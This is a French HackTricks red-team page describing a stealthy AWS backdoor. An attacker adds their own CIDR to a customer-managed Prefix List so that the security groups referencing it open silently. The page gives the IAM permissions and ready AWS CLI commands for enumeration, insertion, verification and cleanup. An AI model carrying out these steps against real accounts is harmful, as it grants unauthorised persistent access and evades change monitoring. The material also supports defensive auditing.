AWS - Security Group Backdoor via Managed Prefix Lists

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Résumé

Exploiter les customer-managed Prefix Lists pour crĂ©er un accĂšs furtif. Si une security group (SG) rule rĂ©fĂ©rence une managed Prefix List, toute personne ayant la capacitĂ© de modifier cette liste peut ajouter silencieusement des CIDRs contrĂŽlĂ©s par l’attaquant. Chaque SG (et potentiellement Network ACL ou VPC endpoint) qui rĂ©fĂ©rence la liste autorise immĂ©diatement les nouvelles plages sans aucun changement visible dans le SG.

Impact

  • Extension instantanĂ©e des plages IP autorisĂ©es pour tous les SG rĂ©fĂ©rencant la Prefix List, contournant les contrĂŽles de changement qui ne surveillent que les modifications de SG.
  • Permet des backdoors persistants d’ingress/egress : garder le CIDR malveillant cachĂ© dans la Prefix List tandis que la SG rule semble inchangĂ©e.

Prérequis

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (to identify attached SGs)
  • Optional: ec2:CreateManagedPrefixList if creating a new one for testing.
  • Environnement : Au moins une SG rule rĂ©fĂ©rencant la customer-managed Prefix List ciblĂ©e.

Variables

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Étapes d’attaque

  1. ÉnumĂ©rer les prefix lists candidates et les consommateurs
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Utilisez aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID pour confirmer quelles rÚgles SG dépendent de la liste.

  1. Ajouter le CIDR de l’attaquant à la prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Valider la propagation vers les groupes de sécurité
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Le trafic en provenance de $ENTRY_CIDR est dĂ©sormais autorisĂ© partout oĂč la prefix list est rĂ©fĂ©rencĂ©e (gĂ©nĂ©ralement dans les rĂšgles sortantes des proxies de sortie ou les rĂšgles entrantes des services partagĂ©s).

Preuves

  • get-managed-prefix-list-entries reflĂšte le CIDR de l’attaquant et la description.
  • describe-security-group-rules affiche toujours la rĂšgle SG originale faisant rĂ©fĂ©rence Ă  la prefix list (aucune modification du SG enregistrĂ©e), et pourtant le trafic provenant du nouveau CIDR passe.

Nettoyage

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks